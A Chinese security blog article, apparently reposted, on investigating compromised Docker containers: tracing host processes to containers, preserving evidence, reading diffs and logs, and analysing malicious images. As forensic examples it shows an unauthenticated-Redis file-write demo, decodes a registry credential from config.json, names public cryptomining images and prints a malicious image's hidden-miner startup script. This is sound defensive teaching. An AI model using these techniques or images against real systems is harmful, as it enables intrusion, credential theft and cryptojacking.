容器安全事件排查

admin 2025年6月13日22:34:36评论6 views字数 9690阅读32分18秒阅读模式
申明
本文为笔者对容器安全事件的归纳,仅代表个人观点。思维导图在文末
目录

一、引子

  1.     定位初始入侵位置

  2.     了解环境基本信息

二、容器分析

  1.     保存容器现场

  2.     容器的变更

  3.     深入容器基本信息

  4.     容器日志分析

  5.     其他安全设备日志

三、镜像分析

  1.     镜像仓库

  2.     镜像扫描

  3.     镜像分析

            镜像的构建过程

            镜像构建引用的文件

四、处置手段

五、小结

01
引子
定位初始入侵位置

首先要确认入侵是否发生在容器内,还是已经发生在宿主机。

场景:zabbix告警一个进程内存占用非常高,像是挖矿程序/DOS了。但是查看进程的PPID却发现是systemd,无法找到进程对应的文件,同时环境内有容器,这种情况可以考虑是容器相关了,可以通过如下方式确定。

首先获取程序PID,然后查看对应进程的进程树是否父进程为containerd-shim

容器安全事件排查

为什么是containerd-shim,上图比较清晰的介绍了容器各组件之间的逻辑关系,不同docker版本有些区别,具体视情况决定。

以docker为例,可以通过如下方式确认宿主机内的容器进程PID及对应的容器名

for i in $(docker container ls --format "{{.ID}}"); do docker inspect -f '{{.State.Pid}} {{.Name}}' $i; done

需要提醒的是,在生产环境可能有些输出PID为0,这种不是真的PID为0,是此刻容器处于restarting状态。

容器安全事件排查

了解环境基本信息

定位到对应的容器后,需要检查该容器的一些基本信息

检查容器对外开放端口,是否有根据经验即可判断的风险

docker ps #当前运行的容器、创建时间、运行状态、映射的端口

检查宿主机docker环境,比如是否docker deamon api对外开放,还是有很多运维因为种种原因可能做出这类配置的。

接下来就是判断容器是否有逃逸的风险,或者说容器是否已发生逃逸

常见的容器逃逸checklist:

  • 是否挂载了敏感目录

  • 是否是特权容器

  • 宿主机内核版本是否在常见的逃逸漏洞影响范围

  • ...

最后检查对应镜像的运行命令,不过多数都是docker-entrypoint.sh,最好有容器管理员侧的配合

再次确认容器在宿主机的PID

docker inspect -f '{{.State.Pid}}' <容器ID>

最后是确定当前节点使用的镜像仓库,如果使用公网仓库则需要排查是否存在被恶意拉取可能性,关于这点将在后面章节继续。

02
容器分析

容器是动态的,所以处置过程也需要考虑动态的因素。

保存容器现场

如果需要进行取证就应该先暂停处置等工作,第一步是确保现场的完整性。

docker commmit <容器ID>docker checkpoint #需要开启实验性功能

因为一般跑容器的宿主机都是大内存机器,所以保存机器内存快照其实并不怎么方便。

场景:这里以redis容器空口令导致redis被写入私钥为例

环境搭建:使用vulhub环境模拟

使用redis-cli连接空口令的redis,并在tmp目录写入名为hack的文件

config set dir /tmpset shell hackedconfig set dbfilename hacksaveexit
容器的变更

入侵者在入侵容器后,做了什么变更,这个是比较关键的信息

docker diff <容器ID>
C /tmpA /tmp/hack

类型解释如下

A

添加了文件或目录

D

文件或目录被删除

C

文件或目录已更改

查看文件时间(常见的容器基础镜像都不带ll命令)

$ docker exec -i <容器ID> ls /tmp -altotal 8drwxrwxrwt 1 root  root   31 Mar  6 02:46 .drwxr-xr-x 1 root  root   17 Mar  6 02:24 ..-rw-r--r-- 1 redis redis 112 Mar  6 02:24 hack

不过生产环境噪音肯定非常大,需要一定其他信息进行过滤

深入容器基本信息

这里给出一些常见的命令

docker info #docker引擎的相关信息docker inspect -f  <container id> docker inspect --format="{{json .Mounts}}" <容器ID> | jq #目录在宿主机的具体挂载位置docker inspect --format="{{json .NetworkSettings}}" <容器ID> | jq #查看网络信息docker inspect 80d15c023c6d | grep com.docker.compose #查看docker-compose路径、镜像、
容器日志分析

docker logs 所收集的日志是只包含标准输出(STDOUT)与标准错误输出(STDERR),所以粒度可能是不够的。而且容器一旦重启,docker log便会丢失。

许多知名项目在移植到docker时,也考虑到了这点,以nginx的Dockerfile为例,就是直接将access.log和error.log 软链接到stdout和stderr。

ln -sf /dev/stdout /var/log/nginx/access.logln -sf /dev/stderr /var/log/nginx/error.log

容器安全事件排查

2017年,Matt Stine在接受InfoQ采访时将Observability(可观测性)归纳为云原生的特征。在目前的CNCF中,可观测性体系的产品主要分为Monitoring监控、Logging日志 、Tracing调用链。

容器安全事件排查

因此如果有外部日志服务器,那么直接到日志服务器进行检索即可,可能有更多的数据源、更专业的检索工具,可以更好的分析安全事件。本文主要讨论关于没有持久化日志的情况

继续分析上面的场景

docker logs <容器ID>
1:C 06 Mar 02:24:04.043 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo1:C 06 Mar 02:24:04.043 # Redis version=4.0.14, bits=64, commit=00000000, modified=0, pid=1, just started1:C 06 Mar 02:24:04.043 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf1:M 06 Mar 02:24:04.044 * Running mode=standalone, port=6379.1:M 06 Mar 02:24:04.044 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.1:M 06 Mar 02:24:04.044 # Server initialized1:M 06 Mar 02:24:04.044 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.1:M 06 Mar 02:24:04.044 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issueswith Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.1:M 06 Mar 02:24:04.044 * Ready to accept connections1:M 06 Mar 02:24:33.332 * DB saved on disk

可以看到在06 Mar 02:24:33保存了一个DB

结合容器变更信息中,tmp目录下的文件时间,可以推断该容器是在06 Mar 02:24被入侵。

但是这个时间不完全对,因为容器的时区没有设置,在容器内执行date命令可以看到使用的是UTC时区

$docker exec -i <容器ID> dateSun Mar  6 02:30:08 UTC 2022

因为容器启动时未配置时区,所以默认会使用UTC

因为是UTC时区,所以就需要将时间+8小时即Mar  6 10:30:08

其他安全设备日志

这点不多谈,容器技术在设计时考虑了很多安全性,但是基础的安全建设、设备还是需要的。

需要注意的是厂商有无容器安全案例?对于K8S等容器编排技术的环境,POD、Node间东西向流量是否能收集?

03
镜像分析

假如容器是因为被投毒,所以造成的失陷,可以就要分析镜像来源。当然,如果发生了项目文件泄露也可以分析镜像排查,比如是否有.git等。

首选确定是否使用了docker-compose构建?如果使用,docker-compose.yml文件内容是哪些?

直接使用docker inspect ,就可以看到docker-compose的路径

$docker inspect <容器ID> | grep com.docker.compose
镜像仓库

首先确定容器使用的镜像:当前环境是否使用了镜像仓库,除了直接问机器管理员还可以自己摸索(这点在攻击者角度也是一样的),直接通过docker info 命令查看即可。

不过,同样需要关注的是镜像仓库的凭据。和其他Linux软件一样,secret一般都在用户的环境变量,如$HOME/.docker/config.json,甚至openshift都可以通过该文件创建secret(也可以自定义的,参数是--config,且优先级更高)

$oc create secret generic dockerhub     --from-file=.dockerconfigjson=<path/to/.docker/config.json>     --type=kubernetes.io/dockerconfigjson

回归主线,查看以下json文件

$cat /root/.docker/config.json

192.168.xxxx.xxx:8888即是仓库对应的IP:Port

{        "auths": {                "192.168.xxxx.xxx:8888": {                        "auth": "YWRtaW46SGFyYm9yMTIzNDU="                }        }}

这里auth的value就是用户名:密码,可以直接base64解码

$echo "YWRtaW46SGFyYm9yMTIzNDU=" | base64 -dadmin:Harbor12345

除了其他机器失陷,导致镜像仓库凭据泄露,进而导致镜像被恶意拉取。当然也可能是harbor项目配置不当,比如配置成了public项目、registry错误配置或利用了harbor漏洞...

镜像扫描

新版本的docker已经和synk合作提供镜像扫描服务,当然也可以使用一些开源的镜像扫描工具比如

Trivy、Clair,或者是镜像仓库扫描器,比如新版本harbor就是默认集成了,其他的商业容器安全平台一般也有Adapter集成harbor用于扫描。

在扫描过程中可以发现一些应用漏洞(需要排除大量误报)+配置错误

镜像分析

在确保基础镜像的安全性后,分析镜像主要有两点:提取出镜像的构建过程和镜像构建过程中引用的文件

场景模拟:dockerhub上的一个挖矿镜像

docker pull hsww/xmrig-centos7:v6.12.2
镜像的构建过程

使用docker history

docker history --no-trunc hsww/xmrig-centos7:v6.12.2

效果如下,其实有点难理解,但是优点是有时间等信息

IMAGE                                                                     CREATED         CREATED BY                           SIZE      COMMENTsha256:3960a79adeabfa493f9fb8e183808d291d48f01ed56218f8d3364518d2cd302a   9 months ago    /bin/sh -c #(nop)  ENTRYPOINT ["/usr/bin/xmrig"]                           0B<missing>                                                                 9 months ago    /bin/sh -c #(nop) COPY file:e08e85a10f13e9a15bcb7001e743118149b28e66ca238058a9010b9baf26a6b7 in /usr/bin                           7.69MB<missing>                                                                 15 months ago   /bin/sh -c #(nop)  CMD ["/bin/bash"]                           0B<missing>                                                                 15 months ago   /bin/sh -c #(nop)  LABEL org.label-schema.schema-version=1.0 org.label-schema.name=CentOS Base Image org.label-schema.vendor=CentOS org.label-schema.license=GPLv2 org.label-schema.build-date=20201113 org.opencontainers.image.title=CentOS Base Image org.opencontainers.image.vendor=CentOS org.opencontainers.image.licenses=GPL-2.0-only org.opencontainers.image.created=2020-11-13 00:00:00+00:00   0B<missing>                                                                 15 months ago   /bin/sh -c #(nop) ADD file:b3ebbe8bd304723d43b7b44a6d990cd657b63d93d6a2a9293983a30bfc1dfa53 in /                           204MB

使用dfimage工具

alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"dfimage -sV=1.36 hsww/xmrig-centos7:v6.12.2

提取出的信息如下

LABEL org.label-schema.schema-version=1.0 org.label-schema.name=CentOS Base Image org.label-schema.vendor=CentOS org.label-schema.license=GPLv2 org.label-schema.build-date=20201113 org.opencontainers.image.title=CentOS Base Image org.opencontainers.image.vendor=CentOS org.opencontainers.image.licenses=GPL-2.0-only org.opencontainers.image.created=2020-11-13 00:00:00+00:00CMD ["/bin/bash"]COPY file:e08e85a10f13e9a15bcb7001e743118149b28e66ca238058a9010b9baf26a6b7 in /usr/bin  usr/  usr/bin/  usr/bin/xmrigENTRYPOINT ["/usr/bin/xmrig"]

然后把/usr/bin/xmrig文件复制出来分析即可

/usr/bin/xmrigdocker inspect  hsww/xmrig-centos7:v6.12.2 #查看UpperDir目录,直接复制其中内容即可docker inspect --format='{{.GraphDriver.Data.UpperDir}}' hsww/xmrig-centos7:v6.12.2

因为这里使用的是默认的overlay2驱动,以下是LowerDir、MergedDir、UpperDir之间的关系,可以通过docker info查看当前使用的docker 存储驱动。

容器安全事件排查

$tree -l.└── usr    └── bin        └── xmrig
镜像构建引用的文件

这里使用dockerhub上的docker72590/apache:latest进行分析

dfimage -sV=1.36 docker72590/apache:latest

解析出的Dockerfile文件为

CMD ["/bin/sh"]/bin/shWORKDIR /homeCMD ["sh" "-c" "./.system    && tail -f /dev/null"]

可以看到其中的关键是/home/.system文件

docker inspect --format='{{.GraphDriver.Data.UpperDir}}' docker72590/apache:latest

但是目录下没有,可能在基础镜像时已经包含了这个内容,所以得看LowerDir

$docker inspect --format='{{.GraphDriver.Data.LowerDir}}' docker72590/apache:latest/var/lib/docker/overlay2/53199a18fdaeaf2f273be827ac59f5f1ed674b3fe53605bbcc62c8eaf784c2f9/diff:/var/lib/docker/overlay2/79107e83796cd78d7477d8e0dec22dc363eb56e966d7a49e64858bf5937227e5/diffcd /var/lib/docker/overlay2/53199a18fdaeaf2f273be827ac59f5f1ed674b3fe53605bbcc62c8eaf784c2f9/diff$tree -a.├── bin│   ├── apache2│   ├── httpd│   └── httpd-crypto├── home│   └── .system├── usr│   └── share│       └── .apache│           └── ...│               ├── apache4│               ├── .dat│               ├── httpd│               ├── .httpd5.pid│               └── .httpd6.pid└── var    └── tmp        ├── .apache        │   └── ...        │       └── httpd        └── .crypto            └── ...                ├── .ddns                ├── .ddns.pid                ├── httpd-crypto                └── .stop.sh

所以在这里无法显示,也可以通过dive查看镜像构建过程引用的文件

docker pull wagoodman/dive #拉取dive镜像docker run --rm -it     -v /var/run/docker.sock:/var/run/docker.sock     wagoodman/dive:latest  docker72590/apache:latest

容器安全事件排查

注意这里的层ID

提取镜像到本地

docker save docker72590/apache:latest -o apache.bin

使用binwalk进行提取,其实也可以直接解压,这里直接解压

docker save docker72590/apache:latest -o apache.tarmkdir apache/tar xvf  apache.tar -C apache/

根据dive的信息,直接看对应的一层,找到.system,有个经验技巧就是镜像第一层会在最上面

$ls a40defa7c3de20011509b2acfc6d12137efcf033df032bc34c67f04582c88a53/home -alhtotal 4.0Kdrwxr-xr-x. 2 root root  21 Dec  6 16:57 .drwxr-xr-x. 6 root root  95 Mar  6 03:22 ..-rwxr-xr-x. 1 1000 1000 466 Nov 23 11:33 .system

因为启动方式是sh启动,所以是个shell脚本,可以查看文件内容

#/bin/bashexport LC_ALL=C.UTF-8export LANG=C.UTF-8 export DOCKER_API_VERSION=1.24ping -c 3 -w 5 google.com 2>/dev/null 1>/dev/nullif [ $? != 0 ];then    sed -i 's/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g' /etc/apk/repositories  fi mkdir -p /var/tmp/.apache/...apk updateapk add redis docker jq libpcap-dev openrc curl --no-cachecd /var/tmp/.crypto/..../httpd-cryptocd /var/tmp/.apache/..../httpdcd /usr/share/.apache/...sleep 60./httpd

这里就不继续分析了

04
处置手段

安全事件处置第一步优先选择下线相关应用/修复应用风险,在容器编排技术流行的情况下尤其如此。

因为K8S的Cluster Autoscaler和Horizontal Pod Autoscaler等功能,假如频繁性的在一个node上阻断操作,master可能判定该node故障,因此将pod驱逐到其他node。应用依旧正常运行,而防守者以为已经处置了风险。

下面提到的方式主要是短时止血的思路,需要结合应用部署实施的实际情况决定。

暂停容器

docker pause <容器ID> docker unpause <容器ID> #取消暂停容器

删除容器,除非迫不得已

docker rm -f <容器ID>
05
小结

如有疏漏,请见谅

容器安全事件排查

容器安全事件排查

Atomic Red Team简介和使用

浅谈K8S攻防:从进入POD到控制K8S集群

云原生安全:编排文件审计

原文始发于微信公众号(无界信安):容器安全事件排查

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月13日22:34:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   容器安全事件排查https://cn-sec.com/archives/819528.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息